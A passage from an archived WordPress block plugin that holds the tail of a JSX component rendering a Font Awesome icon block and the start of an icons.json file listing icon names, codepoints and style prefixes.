					className={ `${ props.attributes.prefix } fa-${ props.attributes.icon }` }
					style={ iconStyle }
				>
				</i>
			);
		};

		return (
			<p
				className={ props.className }
				id={ props.attributes.id }
				style={{ textAlign: props.attributes.align }}
			>
				<span
					className="wp-block-themeisle-blocks-font-awesome-icons-container"
					style={ containerStyle }
				>
					{ ( props.attributes.link ) ? (
						<a
							href={ props.attributes.link }
							target={ props.attributes.newTab ? '_blank' : '_self' }
							style={{
								color: props.attributes.textColor
							}}
							rel="noopener noreferrer"
						>
							<IconElement />
						</a>
					) : (
						<IconElement />
					) }
				</span>
			</p>
		);
	}
});
font-awesome-icons/icons.json000066600000277056151142373640012322 0ustar00[
	{
		"name": "500px",
		"unicode": "f26e",
		"prefix": "fab"
	},
	{
		"name": "accessible-icon",
		"unicode": "f368",
		"prefix": "fab"
	},
	{
		"name": "accusoft",
		"unicode": "f369",
		"prefix": "fab"
	},
	{
		"name": "acquisitions-incorporated",
		"unicode": "f6af",
		"prefix": "fab"
	},
	{
		"name": "ad",
		"unicode": "f641",
		"prefix": "fas"
	},
	{
		"name": "address-book",
		"unicode": "f2b9",
		"prefix": "fas"
	},
	{
		"name": "address-book",
		"unicode": "f2b9",
		"prefix": "far"
	},
	{
		"name": "address-card",
		"unicode": "f2bb",
		"prefix": "fas"
	},
	{
		"name": "address-card",
		"unicode": "f2bb",
		"prefix": "far"
	},
	{
		"name": "adjust",
		"unicode": "f042",
		"prefix": "fas"
	},
	{
		"name": "adn",
		"unicode": "f170",
		"prefix": "fab"
	},
	{
		"name": "adversal",
		"unicode": "f36a",
		"prefix": "fab"
	},
	{
		"name": "affiliatetheme",
		"unicode": "f36b",
		"prefix": "fab"
	},
	{
		"name": "air-freshener",
		"unicode": "f5d0",
		"prefix": "fas"
	},
	{
		"name": "algolia",
		"unicode": "f36c",
		"prefix": "fab"
	},
	{
		"name": "align-center",
		"unicode": "f037",
		"prefix": "fas"
	},
	{
		"name": "align-justify",
		"unicode": "f039",
		"prefix": "fas"
	},
	{
		"name": "align-left",
		"unicode": "f036",
		"prefix": "fas"
	},
	{
		"name": "align-right",
		"unicode": "f038",
		"prefix": "fas"
	},
	{
		"name": "alipay",
		"unicode": "f642",
		"prefix": "fab"
	},
	{
		"name": "allergies",
		"unicode": "f461",
		"prefix": "fas"
	},
	{
		"name": "amazon",
		"unicode": "f270",
		"prefix": "fab"
	},
	{
		"name": "amazon-pay",
		"unicode": "f42c",
		"prefix": "fab"
	},
	{
		"name": "ambulance",
		"unicode": "f0f9",
		"prefix": "fas"
	},
	{
		"name": "american-sign-language-interpreting",
		"unicode": "f2a3",
		"prefix": "fas"
	},
	{
		"name": "amilia",
		"unicode": "f36d",
		"prefix": "fab"
	},
	{
		"name": "anchor",
		"unicode": "f13d",
		"prefix": "fas"
	},
	{
		"name": "android",
		"unicode": "f17b",
		"prefix": "fab"
	},
	{
		"name": "angellist",
		"unicode": "f209",
		"prefix": "fab"
	},
	{
		"name": "angle-double-down",
		"unicode": "f103",
		"prefix": "fas"
	},
	{
		"name": "angle-double-left",
		"unicode": "f100",
		"prefix": "fas"
	},
	{
		"name": "angle-double-right",
		"unicode": "f101",
		"prefix": "fas"
	},
	{
		"name": "angle-double-up",
		"unicode": "f102",
		"prefix": "fas"
	},
	{
		"name": "angle-down",
		"unicode": "f107",
		"prefix": "fas"
	},
	{
		"name": "angle-left",
		"unicode": "f104",
		"prefix": "fas"
	},
	{
		"name": "angle-right",
		"unicode": "f105",
		"prefix": "fas"
	},
	{
		"name": "angle-up",
		"unicode": "f106",
		"prefix": "fas"
	},
	{
		"name": "angry",
		"unicode": "f556",
		"prefix": "fas"
	},
	{
		"name": "angry",
		"unicode": "f556",
		"prefix": "far"
	},
	{
		"name": "angrycreative",
		"unicode": "f36e",
		"prefix": "fab"
	},
	{
		"name": "angular",
		"unicode": "f420",
		"prefix": "fab"
	},
	{
		"name": "ankh",
		"unicode": "f644",
		"prefix": "fas"
	},
	{
		"name": "app-store",
		"unicode": "f36f",
		"prefix": "fab"
	},
	{
		"name": "app-store-ios",
		"unicode": "f370",
		"prefix": "fab"
	},
	{
		"name": "apper",
		"unicode": "f371",
		"prefix": "fab"
	},
	{
		"name": "apple",
		"unicode": "f179",
		"prefix": "fab"
	},
	{
		"name": "apple-alt",
		"unicode": "f5d1",
		"prefix": "fas"
	},
	{
		"name": "apple-pay",
		"unicode": "f415",
		"prefix": "fab"
	},
	{
		"name": "archive",
		"unicode": "f187",
		"prefix": "fas"
	},
	{
		"name": "archway",
		"unicode": "f557",
		"prefix": "fas"
	},
	{
		"name": "arrow-alt-circle-down",
		"unicode": "f358",
		"prefix": "fas"
	},
	{
		"name": "arrow-alt-circle-down",
		"unicode": "f358",
		"prefix": "far"
	},
	{
		"name": "arrow-alt-circle-left",
		"unicode": "f359",
		"prefix": "fas"
	},
	{
		"name": "arrow-alt-circle-left",
		"unicode": "f359",
		"prefix": "far"
	},
	{
		"name": "arrow-alt-circle-right",
		"unicode": "f35a",
		"prefix": "fas"
	},
	{
		"name": "arrow-alt-circle-right",
		"unicode": "f35a",
		"prefix": "far"
	},
	{
		"name": "arrow-alt-circle-up",
		"unicode": "f35b",
		"prefix": "fas"
	},
	{
		"name": "arrow-alt-circle-up",
		"unicode": "f35b",
		"prefix": "far"
	},
	{
		"name": "arrow-circle-down",
		"unicode": "f0ab",
		"prefix": "fas"
	},
	{
		"name": "arrow-circle-left",
		"unicode": "f0a8",
		"prefix": "fas"
	},
	{
		"name": "arrow-circle-right",
		"unicode": "f0a9",
		"prefix": "fas"
	},
	{
		"name": "arrow-circle-up",
		"unicode": "f0aa",
		"prefix": "fas"
	},
	{
		"name": "arrow-down",
		"unicode": "f063",
		"prefix": "fas"
	},
	{
		"name": "arrow-left",
		"unicode": "f060",
		"prefix": "fas"
	},
	{
		"name": "arrow-right",
		"unicode": "f061",
		"prefix": "fas"
	},
	{
		"name": "arrow-up",
		"unicode": "f062",
		"prefix": "fas"
	},
	{
		"name": "arrows-alt",
		"unicode": "f0b2",
		"prefix": "fas"
	},
	{
		"name": "arrows-alt-h",
		"unicode": "f337",
		"prefix": "fas"
	},
	{
		"name": "arrows-alt-v",
		"unicode": "f338",
		"prefix": "fas"
	},
	{
		"name": "assistive-listening-systems",
		"unicode": "f2a2",
		"prefix": "fas"
	},
	{
		"name": "asterisk",
		"unicode": "f069",
		"prefix": "fas"
	},
	{
		"name": "asymmetrik",
		"unicode": "f372",
		"prefix": "fab"
	},
	{
		"name": "at",
		"unicode": "f1fa",
		"prefix": "fas"
	},
	{
		"name": "atlas",
		"unicode": "f558",
		"prefix": "fas"
	},
	{
		"name": "atom",
		"unicode": "f5d2",
		"prefix": "fas"
	},
	{
		"name": "audible",
		"unicode": "f373",
		"prefix": "fab"
	},
	{
		"name": "audio-description",
		"unicode": "f29e",
		"prefix": "fas"
	},
	{
		"name": "autoprefixer",
		"unicode": "f41c",
		"prefix": "fab"
	},
	{
		"name": "avianex",
		"unicode": "f374",
		"prefix": "fab"
	},
	{
		"name": "aviato",
		"unicode": "f421",
		"prefix": "fab"
	},
	{
		"name": "award",
		"unicode": "f559",
		"prefix": "fas"
	},
	{
		"name": "aws",
		"unicode": "f375",
		"prefix": "fab"
	},
	{
		"name": "backspace",
		"unicode": "f55a",
		"prefix": "fas"
	},
	{
		"name": "backward",
		"unicode": "f04a",
		"prefix": "fas"
	},
	{
		"name": "balance-scale",
		"unicode": "f24e",
		"prefix": "fas"
	},
	{
		"name": "ban",
		"unicode": "f05e",
		"prefix": "fas"
	},
	{
		"name": "band-aid",
		"unicode": "f462",
		"prefix": "fas"
	},
	{
		"name": "bandcamp",
		"unicode": "f2d5",
		"prefix": "fab"
	},
	{
		"name": "barcode",
		"unicode": "f02a",
		"prefix": "fas"
	},
	{
		"name": "bars",
		"unicode": "f0c9",
		"prefix": "fas"
	},
	{
		"name": "baseball-ball",
		"unicode": "f433",
		"prefix": "fas"
	},
	{
		"name": "basketball-ball",
		"unicode": "f434",
		"prefix": "fas"
	},
	{
		"name": "bath",
		"unicode": "f2cd",
		"prefix": "fas"
	},
	{
		"name": "battery-empty",
		"unicode": "f244",
		"prefix": "fas"
	},
	{
		"name": "battery-full",
		"unicode": "f240",
		"prefix": "fas"
	},
	{
		"name": "battery-half",
		"unicode": "f242",
		"prefix": "fas"
	},
	{
		"name": "battery-quarter",
		"unicode": "f243",
		"prefix": "fas"
	},
	{
		"name": "battery-three-quarters",
		"unicode": "f241",
		"prefix": "fas"
	},
	{
		"name": "bed",
		"unicode": "f236",
		"prefix": "fas"
	},
	{
		"name": "beer",
		"unicode": "f0fc",
		"prefix": "fas"
	},
	{
		"name": "behance",
		"unicode": "f1b4",
		"prefix": "fab"
	},
	{
		"name": "behance-square",
		"unicode": "f1b5",
		"prefix": "fab"
	},
	{
		"name": "bell",
		"unicode": "f0f3",
		"prefix": "fas"
	},
	{
		"name": "bell",
		"unicode": "f0f3",
		"prefix": "far"
	},
	{
		"name": "bell-slash",
		"unicode": "f1f6",
		"prefix": "fas"
	},
	{
		"name": "bell-slash",
		"unicode": "f1f6",
		"prefix": "far"
	},
	{
		"name": "bezier-curve",
		"unicode": "f55b",
		"prefix": "fas"
	},
	{
		"name": "bible",
		"unicode": "f647",
		"prefix": "fas"
	},
	{
		"name": "bicycle",
		"unicode": "f206",
		"prefix": "fas"
	},
	{
		"name": "bimobject",
		"unicode": "f378",
		"prefix": "fab"
	},
	{
		"name": "binoculars",
		"unicode": "f1e5",
		"prefix": "fas"
	},
	{
		"name": "birthday-cake",
		"unicode": "f1fd",
		"prefix": "fas"
	},
	{
		"name": "bitbucket",
		"unicode": "f171",
		"prefix": "fab"
	},
	{
		"name": "bitcoin",
		"unicode": "f379",
		"prefix": "fab"
	},
	{
		"name": "bity",
		"unicode": "f37a",
		"prefix": "fab"
	},
	{
		"name": "black-tie",
		"unicode": "f27e",
		"prefix": "fab"
	},
	{
		"name": "blackberry",
		"unicode": "f37b",
		"prefix": "fab"
	},
	{
		"name": "blender",
		"unicode": "f517",
		"prefix": "fas"
	},
	{
		"name": "blender-phone",
		"unicode": "f6b6",
		"prefix": "fas"
	},
	{
		"name": "blind",
		"unicode": "f29d",
		"prefix": "fas"
	},
	{
		"name": "blogger",
		"unicode": "f37c",
		"prefix": "fab"
	},
	{
		"name": "blogger-b",
		"unicode": "f37d",
		"prefix": "fab"
	},
	{
		"name": "bluetooth",
		"unicode": "f293",
		"prefix": "fab"
	},
	{
		"name": "bluetooth-b",
		"unicode": "f294",
		"prefix": "fab"
	},
	{
		"name": "bold",
		"unicode": "f032",
		"prefix": "fas"
	},
	{
		"name": "bolt",
		"unicode": "f0e7",
		"prefix": "fas"
	},
	{
		"name": "bomb",
		"unicode": "f1e2",
		"prefix": "fas"
	},
	{
		"name": "bone",
		"unicode": "f5d7",
		"prefix": "fas"
	},
	{
		"name": "bong",
		"unicode": "f55c",
		"prefix": "fas"
	},
	{
		"name": "book",
		"unicode": "f02d",
		"prefix": "fas"
	},
	{
		"name": "book-dead",
		"unicode": "f6b7",
		"prefix": "fas"
	},
	{
		"name": "book-open",
		"unicode": "f518",
		"prefix": "fas"
	},
	{
		"name": "book-reader",
		"unicode": "f5da",
		"prefix": "fas"
	},
	{
		"name": "bookmark",
		"unicode": "f02e",
		"prefix": "fas"
	},
	{
		"name": "bookmark",
		"unicode": "f02e",
		"prefix": "far"
	},
	{
		"name": "bowling-ball",
		"unicode": "f436",
		"prefix": "fas"
	},
	{
		"name": "box",
		"unicode": "f466",
		"prefix": "fas"
	},
	{
		"name": "box-open",
		"unicode": "f49e",
		"prefix": "fas"
	},
	{
		"name": "boxes",
		"unicode": "f468",
		"prefix": "fas"
	},
	{
		"name": "braille",
		"unicode": "f2a1",
		"prefix": "fas"
	},
	{
		"name": "brain",
		"unicode": "f5dc",
		"prefix": "fas"
	},
	{
		"name": "briefcase",
		"unicode": "f0b1",
		"prefix": "fas"
	},
	{
		"name": "briefcase-medical",
		"unicode": "f469",
		"prefix": "fas"
	},
	{
		"name": "broadcast-tower",
		"unicode": "f519",
		"prefix": "fas"
	},
	{
		"name": "broom",
		"unicode": "f51a",
		"prefix": "fas"
	},
	{
		"name": "brush",
		"unicode": "f55d",
		"prefix": "fas"
	},
	{
		"name": "btc",
		"unicode": "f15a",
		"prefix": "fab"
	},
	{
		"name": "bug",
		"unicode": "f188",
		"prefix": "fas"
	},
	{
		"name": "building",
		"unicode": "f1ad",
		"prefix": "fas"
	},
	{
		"name": "building",
		"unicode": "f1ad",
		"prefix": "far"
	},
	{
		"name": "bullhorn",
		"unicode": "f0a1",
		"prefix": "fas"
	},
	{
		"name": "bullseye",
		"unicode": "f140",
		"prefix": "fas"
	},
	{
		"name": "burn",
		"unicode": "f46a",
		"prefix": "fas"
	},
	{
		"name": "buromobelexperte",
		"unicode": "f37f",
		"prefix": "fab"
	},
	{
		"name": "bus",
		"unicode": "f207",
		"prefix": "fas"
	},
	{
		"name": "bus-alt",
		"unicode": "f55e",
		"prefix": "fas"
	},
	{
		"name": "business-time",
		"unicode": "f64a",
		"prefix": "fas"
	},
	{
		"name": "buysellads",
		"unicode": "f20d",
		"prefix": "fab"
	},
	{
		"name": "calculator",
		"unicode": "f1ec",
		"prefix": "fas"
	},
	{
		"name": "calendar",
		"unicode": "f133",
		"prefix": "fas"
	},
	{
		"name": "calendar",
		"unicode": "f133",
		"prefix": "far"
	},
	{
		"name": "calendar-alt",
		"unicode": "f073",
		"prefix": "fas"
	},
	{
		"name": "calendar-alt",
		"unicode": "f073",
		"prefix": "far"
	},
	{
		"name": "calendar-check",
		"unicode": "f274",
		"prefix": "fas"
	},
	{
		"name": "calendar-check",
		"unicode": "f274",
		"prefix": "far"
	},
	{
		"name": "calendar-minus",
		"unicode": "f272",
		"prefix": "fas"
	},
	{
		"name": "calendar-minus",
		"unicode": "f272",
		"prefix": "far"
	},
	{
		"name": "calendar-plus",
		"unicode": "f271",
		"prefix": "fas"
	},
	{
		"name": "calendar-plus",
		"unicode": "f271",
		"prefix": "far"
	},
	{
		"name": "calendar-times",
		"unicode": "f273",
		"prefix": "fas"
	},
	{
		"name": "calendar-times",
		"unicode": "f273",
		"prefix": "far"
	},
	{
		"name": "camera",
		"unicode": "f030",
		"prefix": "fas"
	},
	{
		"name": "camera-retro",
		"unicode": "f083",
		"prefix": "fas"
	},
	{
		"name": "campground",
		"unicode": "f6bb",
		"prefix": "fas"
	},
	{
		"name": "cannabis",
		"unicode": "f55f",
		"prefix": "fas"
	},
	{
		"name": "capsules",
		"unicode": "f46b",
		"prefix": "fas"
	},
	{
		"name": "car",
		"unicode": "f1b9",
		"prefix": "fas"
	},
	{
		"name": "car-alt",
		"unicode": "f5de",
		"prefix": "fas"
	},
	{
		"name": "car-battery",
		"unicode": "f5df",
		"prefix": "fas"
	},
	{
		"name": "car-crash",
		"unicode": "f5e1",
		"prefix": "fas"
	},
	{
		"name": "car-side",
		"unicode": "f5e4",
		"prefix": "fas"
	},
	{
		"name": "caret-down",
		"unicode": "f0d7",
		"prefix": "fas"
	},
	{
		"name": "caret-left",
		"unicode": "f0d9",
		"prefix": "fas"
	},
	{
		"name": "caret-right",
		"unicode": "f0da",
		"prefix": "fas"
	},
	{
		"name": "caret-square-down",
		"unicode": "f150",
		"prefix": "fas"
	},
	{
		"name": "caret-square-down",
		"unicode": "f150",
		"prefix": "far"
	},
	{
		"name": "caret-square-left",
		"unicode": "f191",
		"prefix": "fas"
	},
	{
		"name": "caret-square-left",
		"unicode": "f191",
		"prefix": "far"
	},
	{
		"name": "caret-square-right",
		"unicode": "f152",
		"prefix": "fas"
	},
	{
		"name": "caret-square-right",
		"unicode": "f152",
		"prefix": "far"
	},
	{
		"name": "caret-square-up",
		"unicode": "f151",
		"prefix": "fas"
	},
	{
		"name": "caret-square-up",
		"unicode": "f151",
		"prefix": "far"
	},
	{
		"name": "caret-up",
		"unicode": "f0d8",
		"prefix": "fas"
	},
	{
		"name": "cart-arrow-down",
		"unicode": "f218",
		"prefix": "fas"
	},
	{
		"name": "cart-plus",
		"unicode": "f217",
		"prefix": "fas"
	},
	{
		"name": "cat",
		"unicode": "f6be",
		"prefix": "fas"
	},
	{
		"name": "cc-amazon-pay",
		"unicode": "f42d",
		"prefix": "fab"
	},
	{
		"name": "cc-amex",
		"unicode": "f1f3",
		"prefix": "fab"
	},
	{
		"name": "cc-apple-pay",
		"unicode": "f416",
		"prefix": "fab"
	},
	{
		"name": "cc-diners-club",
		"unicode": "f24c",
		"prefix": "fab"
	},
	{
		"name": "cc-discover",
		"unicode": "f1f2",
		"prefix": "fab"
	},
	{
		"name": "cc-jcb",
		"unicode": "f24b",
		"prefix": "fab"
	},
	{
		"name": "cc-mastercard",
		"unicode": "f1f1",
		"prefix": "fab"
	},
	{
		"name": "cc-paypal",
		"unicode": "f1f4",
		"prefix": "fab"
	},
	{
		"name": "cc-stripe",
		"unicode": "f1f5",
		"prefix": "fab"
	},
	{
		"name": "cc-visa",
		"unicode": "f1f0",
		"prefix": "fab"
	},
	{
		"name": "centercode",
		"unicode": "f380",
		"prefix": "fab"
	},
	{
		"name": "certificate",
		"unicode": "f0a3",
		"prefix": "fas"
	},
	{
		"name": "chair",
		"unicode": "f6c0",
		"prefix": "fas"
	},
	{
		"name": "chalkboard",
		"unicode": "f51b",
		"prefix": "fas"
	},
	{
		"name": "chalkboard-teacher",
		"unicode": "f51c",
		"prefix": "fas"
	},
	{
		"name": "charging-station",
		"unicode": "f5e7",
		"prefix": "fas"
	},
	{
		"name": "chart-area",
		"unicode": "f1fe",
		"prefix": "fas"
	},
	{
		"name": "chart-bar",
		"unicode": "f080",
		"prefix": "fas"
	},
	{
		"name": "chart-bar",
		"unicode": "f080",
		"prefix": "far"
	},
	{
		"name": "chart-line",
		"unicode": "f201",
		"prefix": "fas"
	},
	{
		"name": "chart-pie",
		"unicode": "f200",
		"prefix": "fas"
	},
	{
		"name": "check",
		"unicode": "f00c",
		"prefix": "fas"
	},
	{
		"name": "check-circle",
		"unicode": "f058",
		"prefix": "fas"
	},
	{
		"name": "check-circle",
		"unicode": "f058",
		"prefix": "far"
	},
	{
		"name": "check-double",
		"unicode": "f560",
		"prefix": "fas"
	},
	{
		"name": "check-square",
		"unicode": "f14a",
		"prefix": "fas"
	},
	{
		"name": "check-square",
		"unicode": "f14a",
		"prefix": "far"
	},
	{
		"name": "chess",
		"unicode": "f439",
		"prefix": "fas"
	},
	{
		"name": "chess-bishop",
		"unicode": "f43a",
		"prefix": "fas"
	},
	{
		"name": "chess-board",
		"unicode": "f43c",
		"prefix": "fas"
	},
	{
		"name": "chess-king",
		"unicode": "f43f",
		"prefix": "fas"
	},
	{
		"name": "chess-knight",
		"unicode": "f441",
		"prefix": "fas"
	},
	{
		"name": "chess-pawn",
		"unicode": "f443",
		"prefix": "fas"
	},
	{
		"name": "chess-queen",
		"unicode": "f445",
		"prefix": "fas"
	},
	{
		"name": "chess-rook",
		"unicode": "f447",
		"prefix": "fas"
	},
	{
		"name": "chevron-circle-down",
		"unicode": "f13a",
		"prefix": "fas"
	},
	{
		"name": "chevron-circle-left",
		"unicode": "f137",
		"prefix": "fas"
	},
	{
		"name": "chevron-circle-right",
		"unicode": "f138",
		"prefix": "fas"
	},
	{
		"name": "chevron-circle-up",
		"unicode": "f139",
		"prefix": "fas"
	},
	{
		"name": "chevron-down",
		"unicode": "f078",
		"prefix": "fas"
	},
	{
		"name": "chevron-left",
		"unicode": "f053",
		"prefix": "fas"
	},
	{
		"name": "chevron-right",
		"unicode": "f054",
		"prefix": "fas"
	},
	{
		"name": "chevron-up",
		"unicode": "f077",
		"prefix": "fas"
	},
	{
		"name": "child",
		"unicode": "f1ae",
		"prefix": "fas"
	},
	{
		"name": "chrome",
		"unicode": "f268",
		"prefix": "fab"
	},
	{
		"name": "church",
		"unicode": "f51d",
		"prefix": "fas"
	},
	{
		"name": "circle",
		"unicode": "f111",
		"prefix": "fas"
	},
	{
		"name": "circle",
		"unicode": "f111",
		"prefix": "far"
	},
	{
		"name": "circle-notch",
		"unicode": "f1ce",
		"prefix": "fas"
	},
	{
		"name": "city",
		"unicode": "f64f",
		"prefix": "fas"
	},
	{
		"name": "clipboard",
		"unicode": "f328",
		"prefix": "fas"
	},
	{
		"name": "clipboard",
		"unicode": "f328",
		"prefix": "far"
	},
	{
		"name": "clipboard-check",
		"unicode": "f46c",
		"prefix": "fas"
	},
	{
		"name": "clipboard-list",
		"unicode": "f46d",
		"prefix": "fas"
	},
	{
		"name": "clock",
		"unicode": "f017",
		"prefix": "fas"
	},
	{
		"name": "clock",
		"unicode": "f017",
		"prefix": "far"
	},
	{
		"name": "clone",
		"unicode": "f24d",
		"prefix": "fas"
	},
	{
		"name": "clone",
		"unicode": "f24d",
		"prefix": "far"
	},
	{
		"name": "closed-captioning",
		"unicode": "f20a",
		"prefix": "fas"
	},
	{
		"name": "closed-captioning",
		"unicode": "f20a",
		"prefix": "far"
	},
	{
		"name": "cloud",
		"unicode": "f0c2",
		"prefix": "fas"
	},
	{
		"name": "cloud-download-alt",
		"unicode": "f381",
		"prefix": "fas"
	},
	{
		"name": "cloud-meatball",
		"unicode": "f73b",
		"prefix": "fas"
	},
	{
		"name": "cloud-moon",
		"unicode": "f6c3",
		"prefix": "fas"
	},
	{
		"name": "cloud-moon-rain",
		"unicode": "f73c",
		"prefix": "fas"
	},
	{
		"name": "cloud-rain",
		"unicode": "f73d",
		"prefix": "fas"
	},
	{
		"name": "cloud-showers-heavy",
		"unicode": "f740",
		"prefix": "fas"
	},
	{
		"name": "cloud-sun",
		"unicode": "f6c4",
		"prefix": "fas"
	},
	{
		"name": "cloud-sun-rain",
		"unicode": "f743",
		"prefix": "fas"
	},
	{
		"name": "cloud-upload-alt",
		"unicode": "f382",
		"prefix": "fas"
	},
	{
		"name": "cloudscale",
		"unicode": "f383",
		"prefix": "fab"
	},
	{
		"name": "cloudsmith",
		"unicode": "f384",
		"prefix": "fab"
	},
	{
		"name": "cloudversify",
		"unicode": "f385",
		"prefix": "fab"
	},
	{
		"name": "cocktail",
		"unicode": "f561",
		"prefix": "fas"
	},
	{
		"name": "code",
		"unicode": "f121",
		"prefix": "fas"
	},
	{
		"name": "code-branch",
		"unicode": "f126",
		"prefix": "fas"
	},
	{
		"name": "codepen",
		"unicode": "f1cb",
		"prefix": "fab"
	},
	{
		"name": "codiepie",
		"unicode": "f284",
		"prefix": "fab"
	},
	{
		"name": "coffee",
		"unicode": "f0f4",
		"prefix": "fas"
	},
	{
		"name": "cog",
		"unicode": "f013",
		"prefix": "fas"
	},
	{
		"name": "cogs",
		"unicode": "f085",
		"prefix": "fas"
	},
	{
		"name": "coins",
		"unicode": "f51e",
		"prefix": "fas"
	},
	{
		"name": "columns",
		"unicode": "f0db",
		"prefix": "fas"
	},
	{
		"name": "comment",
		"unicode": "f075",
		"prefix": "fas"
	},
	{
		"name": "comment",
		"unicode": "f075",
		"prefix": "far"
	},
	{
		"name": "comment-alt",
		"unicode": "f27a",
		"prefix": "fas"
	},
	{
		"name": "comment-alt",
		"unicode": "f27a",
		"prefix": "far"
	},
	{
		"name": "comment-dollar",
		"unicode": "f651",
		"prefix": "fas"
	},
	{
		"name": "comment-dots",
		"unicode": "f4ad",
		"prefix": "fas"
	},
	{
		"name": "comment-dots",
		"unicode": "f4ad",
		"prefix": "far"
	},
	{
		"name": "comment-slash",
		"unicode": "f4b3",
		"prefix": "fas"
	},
	{
		"name": "comments",
		"unicode": "f086",
		"prefix": "fas"
	},
	{
		"name": "comments",
		"unicode": "f086",
		"prefix": "far"
	},
	{
		"name": "comments-dollar",
		"unicode": "f653",
		"prefix": "fas"
	},
	{
		"name": "compact-disc",
		"unicode": "f51f",
		"prefix": "fas"
	},
	{
		"name": "compass",
		"unicode": "f14e",
		"prefix": "fas"
	},
	{
		"name": "compass",
		"unicode": "f14e",
		"prefix": "far"
	},
	{
		"name": "compress",
		"unicode": "f066",
		"prefix": "fas"
	},
	{
		"name": "concierge-bell",
		"unicode": "f562",
		"prefix": "fas"
	},
	{
		"name": "connectdevelop",
		"unicode": "f20e",
		"prefix": "fab"
	},
	{
		"name": "contao",
		"unicode": "f26d",
		"prefix": "fab"
	},
	{
		"name": "cookie",
		"unicode": "f563",
		"prefix": "fas"
	},
	{
		"name": "cookie-bite",
		"unicode": "f564",
		"prefix": "fas"
	},
	{
		"name": "copy",
		"unicode": "f0c5",
		"prefix": "fas"
	},
	{
		"name": "copy",
		"unicode": "f0c5",
		"prefix": "far"
	},
	{
		"name": "copyright",
		"unicode": "f1f9",
		"prefix": "fas"
	},
	{
		"name": "copyright",
		"unicode": "f1f9",
		"prefix": "far"
	},
	{
		"name": "couch",
		"unicode": "f4b8",
		"prefix": "fas"
	},
	{
		"name": "cpanel",
		"unicode": "f388",
		"prefix": "fab"
	},
	{
		"name": "creative-commons",
		"unicode": "f25e",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-by",
		"unicode": "f4e7",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-nc",
		"unicode": "f4e8",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-nc-eu",
		"unicode": "f4e9",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-nc-jp",
		"unicode": "f4ea",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-nd",
		"unicode": "f4eb",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-pd",
		"unicode": "f4ec",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-pd-alt",
		"unicode": "f4ed",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-remix",
		"unicode": "f4ee",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-sa",
		"unicode": "f4ef",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-sampling",
		"unicode": "f4f0",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-sampling-plus",
		"unicode": "f4f1",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-share",
		"unicode": "f4f2",
		"prefix": "fab"
	},
	{
		"name": "creative-commons-zero",
		"unicode": "f4f3",
		"prefix": "fab"
	},
	{
		"name": "credit-card",
		"unicode": "f09d",
		"prefix": "fas"
	},
	{
		"name": "credit-card",
		"unicode": "f09d",
		"prefix": "far"
	},
	{
		"name": "critical-role",
		"unicode": "f6c9",
		"prefix": "fab"
	},
	{
		"name": "crop",
		"unicode": "f125",
		"prefix": "fas"
	},
	{
		"name": "crop-alt",
		"unicode": "f565",
		"prefix": "fas"
	},
	{
		"name": "cross",
		"unicode": "f654",
		"prefix": "fas"
	},
	{
		"name": "crosshairs",
		"unicode": "f05b",
		"prefix": "fas"
	},
	{
		"name": "crow",
		"unicode": "f520",
		"prefix": "fas"
	},
	{
		"name": "crown",
		"unicode": "f521",
		"prefix": "fas"
	},
	{
		"name": "css3",
		"unicode": "f13c",
		"prefix": "fab"
	},
	{
		"name": "css3-alt",
		"unicode": "f38b",
		"prefix": "fab"
	},
	{
		"name": "cube",
		"unicode": "f1b2",
		"prefix": "fas"
	},
	{
		"name": "cubes",
		"unicode": "f1b3",
		"prefix": "fas"
	},
	{
		"name": "cut",
		"unicode": "f0c4",
		"prefix": "fas"
	},
	{
		"name": "cuttlefish",
		"unicode": "f38c",
		"prefix": "fab"
	},
	{
		"name": "d-and-d",
		"unicode": "f38d",
		"prefix": "fab"
	},
	{
		"name": "d-and-d-beyond",
		"unicode": "f6ca",
		"prefix": "fab"
	},
	{
		"name": "dashcube",
		"unicode": "f210",
		"prefix": "fab"
	},
	{
		"name": "database",
		"unicode": "f1c0",
		"prefix": "fas"
	},
	{
		"name": "deaf",
		"unicode": "f2a4",
		"prefix": "fas"
	},
	{
		"name": "delicious",
		"unicode": "f1a5",
		"prefix": "fab"
	},
	{
		"name": "democrat",
		"unicode": "f747",
		"prefix": "fas"
	},
	{
		"name": "deploydog",
		"unicode": "f38e",
		"prefix": "fab"
	},
	{
		"name": "deskpro",
		"unicode": "f38f",
		"prefix": "fab"
	},
	{
		"name": "desktop",
		"unicode": "f108",
		"prefix": "fas"
	},
	{
		"name": "dev",
		"unicode": "f6cc",
		"prefix": "fab"
	},
	{
		"name": "deviantart",
		"unicode": "f1bd",
		"prefix": "fab"
	},
	{
		"name": "dharmachakra",
		"unicode": "f655",
		"prefix": "fas"
	},
	{
		"name": "diagnoses",
		"unicode": "f470",
		"prefix": "fas"
	},
	{
		"name": "dice",
		"unicode": "f522",
		"prefix": "fas"
	},
	{
		"name": "dice-d20",
		"unicode": "f6cf",
		"prefix": "fas"
	},
	{
		"name": "dice-d6",
		"unicode": "f6d1",
		"prefix": "fas"
	},
	{
		"name": "dice-five",
		"unicode": "f523",
		"prefix": "fas"
	},
	{
		"name": "dice-four",
		"unicode": "f524",
		"prefix": "fas"
	},
	{
		"name": "dice-one",
		"unicode": "f525",
		"prefix": "fas"
	},
	{
		"name": "dice-six",
		"unicode": "f526",
		"prefix": "fas"
	},
	{
		"name": "dice-three",
		"unicode": "f527",
		"prefix": "fas"
	},
	{
		"name": "dice-two",
		"unicode": "f528",
		"prefix": "fas"
	},
	{
		"name": "digg",
		"unicode": "f1a6",
		"prefix": "fab"
	},
	{
		"name": "digital-ocean",
		"unicode": "f391",
		"prefix": "fab"
	},
	{
		"name": "digital-tachograph",
		"unicode": "f566",
		"prefix": "fas"
	},
	{
		"name": "directions",
		"unicode": "f5eb",
		"prefix": "fas"
	},
	{
		"name": "discord",
		"unicode": "f392",
		"prefix": "fab"
	},
	{
		"name": "discourse",
		"unicode": "f393",
		"prefix": "fab"
	},
	{
		"name": "divide",
		"unicode": "f529",
		"prefix": "fas"
	},
	{
		"name": "dizzy",
		"unicode": "f567",
		"prefix": "fas"
	},
